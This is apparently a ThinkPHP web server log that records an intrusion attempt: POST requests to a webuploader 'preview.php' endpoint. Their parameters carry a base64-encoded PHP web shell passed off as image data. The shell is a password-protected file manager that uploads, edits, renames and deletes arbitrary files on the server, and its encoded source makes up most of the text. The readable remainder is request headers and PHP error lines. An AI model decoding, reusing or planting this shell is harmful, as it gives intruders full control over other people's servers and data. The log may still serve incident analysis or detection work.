CAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:03:57+08:00 ] 119.42.146.234 POST 59.110.137.245/static/admin/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002700s] [吞吐率:370.39req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5